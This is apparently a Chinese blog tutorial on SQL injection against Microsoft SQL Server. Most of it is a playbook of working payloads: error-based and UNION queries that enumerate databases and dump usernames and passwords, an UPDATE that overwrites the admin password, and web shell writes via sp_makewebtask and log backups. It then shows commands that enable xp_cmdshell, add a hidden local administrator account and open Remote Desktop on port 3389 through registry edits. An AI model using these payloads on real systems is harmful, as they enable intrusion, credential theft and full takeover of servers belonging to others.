sql 注入获取服务器信息,SQL注入之SQL server

基础知识

1.SQL server是微软推出的关系型数据库,所以SQL server只能搭配Windows服务器使用;

2.SQL server数据库一般搭配的脚本语言为asp或aspx;

3.SQL server默认端口:1433

4.SQL server数据库以文件形式存在,文件后缀:

①x.mdf(数据库文件后缀)

②x.ldf(数据库日志文件后缀)

5.权限划分:

数据库权限

对应服务器权限

可执行的操作

SA权限

system

数据库操作,文件管理,命令执行,注册表读取

db权限

users-adminstrators

文件管理,数据库操作等

public权限

guest-users

数据库操作

注入利用

一、显错注入

1.数据库信息获取:

① 判断注入:通过修改URL参数判断是否将参数带入到数据库执行,如果有带入。即表示目标可能存在sql注入漏洞

②判断数据库类型:

And (select count(*) from sysobjects)>0     # mssql数据库And (select count(*) from msysobjects)>0    # access数据库

③读取mssql信息:

and (1=select @@version) # 报错读取数据库版本#直接?id=@@version也能读取数据库版本

and 1=(select db_name())       //报错读取数据库名#直接?id=db_name()也能读取数据库名

39b1120132705f42cf791239659d8372.png

2.数据获取

①获取数据库名称

And 1=(select top 1 name from master..sysdatabases where dbid>4)//查询第一个数据库名。dbid>4是排除SQL server数据库自带的4个系统数据库And 1=(select top 1 name from master..sysdatabases where dbid>5)//根据这个原理,通过修改dbid序号依次读取所有数据库名称And 1=(select top 1 name from master..sysdatabases where dbid>4 and name <>'数据库名')//添加条件排除获取到的数据库名称来读取下一个数据库名,效果和dbid>5相同

2d695d8cd78439d3cd1c3c848fb784df.png

And 1=(select name from master..sysdatabases for xml path)//以xml格式列出所有数据库名

6fcbfc3343d739f743105763bd0a05ee.png

② 获取表名

And 1=(select top 1 name from sysobjects where xtype='u')//返回表名newssAnd 1=(select top 1 name from sysobjects where xtype=’u’ and name <>'newss')//爆出另外一个表名。在后面不停and name <>'表名',即可依次获取所有表名

842a3f762ac16307d401accbc38c252e.png

And 1=(select name from sysobjects for xml path )//以xml格式获取所有表名,但是无法指定数据库。无法判断表所属库

50fdea4a3dc4ac311b0ee24ab427cc05.png

③获取列名

and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'newss'))//获取newss表下第一列。and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'newss')and name <>'id')//获取newss表下排除id列的第一列。依次往下套娃,可获取所有字段名称

7c630fae810b23041980cd1c8f76f4e9.png

④获取字段内容

and 1=(select top 1 username from newss)and 1=(select top 1 password from newss)//读取字段username,password第一列内容

976f95e1b57d6baca8f5abbfeedebb9b.png

and 1=(select top 1 username from newss where username <> 'admin')//带条件读取其他行的内容and 1=(select username from newss where id =2)//也可以通过操控id值读取其他行的数据

二、union注入

①判断字段数

order by 5--//这里--是单行注释符,也可以写做#,根据回显判断当前表字段数为4(执行结果)

② 找到可以进行注入的字段

UNION SELECT null,null,null,null//返回正常UNION SELECT 1,null,null,null//返回正常,说明第一列是数字型UNION SELECT null,2,null,null//报错,说明第二列是字符列。这样就可以在第二列进行注入

66afae861fa64a85894959c851fe5c60.png

③获取库信息

UNION SELECT null,db_name(),null,nullUNION SELECT null,@@version,null,nullUNION SELECT null,@@servername,null,null

e17b5a39d23cb8fd326c2509ab987c5d.png

④查询表名

UNION SELECT null,(select top 1 name from sysobjects where xtype='u'),null,null//当前表名UNION SELECT null,(select top 1 name from sysobjects where xtype='u' and name <>'newss'),null,null//套娃获取其他表名

fbbfd9401b7748328d91d574e037e040.png

⑤获取列名

UNION SELECT null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='newss') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='newss'))),null,null//指定表newss名列第一列列名UNION SELECT null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='newss') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='newss'))),null,null//指定表newss名列第二列列名

2880d9441a57652f243627dea75c21a5.png

⑥列数据

UNION SELECT null,username,password,null from newss//查询newss表下username,password字段所有内容。//这里因为第三列也是字符型列,如果不是就要将username,password字段分开查询UNION SELECT null,username,null,null from newss  where username not in (select top 0 username from newss)//有时候直接跟表名无法查询可以用这个语句

47306cbab5ce1ef25a6486ac99eff15a.png

SA提权

① 权限判断

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限and 1=(select is_srvrolemember('public')) //判断是否为public权限and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名and 1=(select @@servername) //本地服务名and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限

②修改管理员密码

;update newss set password='49ba59abbe56e057' where username='admin'//将管理员表admin中admin用户的密码设置为123456,修改之前把原来密码备份,操作完成后修改回来//通常在密码解不出又需要进管理员后台的情况下选择使用该方法

③直接getshell

;exec sp_makewebtask 'C:\inetpub\sql_inject\sqlserver 注入点\x1.asp','select'''''--//根据报错信息找到网站物理路径写入一句话

;EXEC sp_configure 'show advanced options',1;RECONFIGURE;;exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE//如果报错:找不到存储过程 'sp_makewebtask'。需要恢复sp_makewebtask存储过程再写入一句话#如果目标是server2008及以上sp_makewebtask 这个存储过程就取消了无法再恢复

④调用系统命令

and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell')//判断xp_cmdshell扩展存储是否存在and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')//判断xp_regread扩展存储过程是否存在;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;//恢复xp_cmdshell:

;exec master..xp_cmdshell 'net user test 123.com /add';exec master..xp_cmdshell 'net localgroup administrators test /add'// 新建用户,注意SQL server2008及之后版本需要强口令。如果sa被降权则无法创建用户

⑤开3389

;exec master..xp_cmdshell 'sc config termservice start=auto';exec master..xp_cmdshell 'net start termservice';exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f'//允许外部连接开启3389;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x50 /f'//改端口到80;exec master..xp_cmdshell "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"--//利用dos命令开启3389

dbowner提权

//找到web目录后,就可以写入一句话木马了;alter database ssdown5 set RECOVERY FULL;create table test(str image)--;backup log ssdown5 to disk='c:\test' with init--;insert into test(str)values ('')--;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'--;alter database ssdown5 set RECOVERY simple

工具输入注入点和物理路径,直接拿shell。一步到位:

===============================================

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值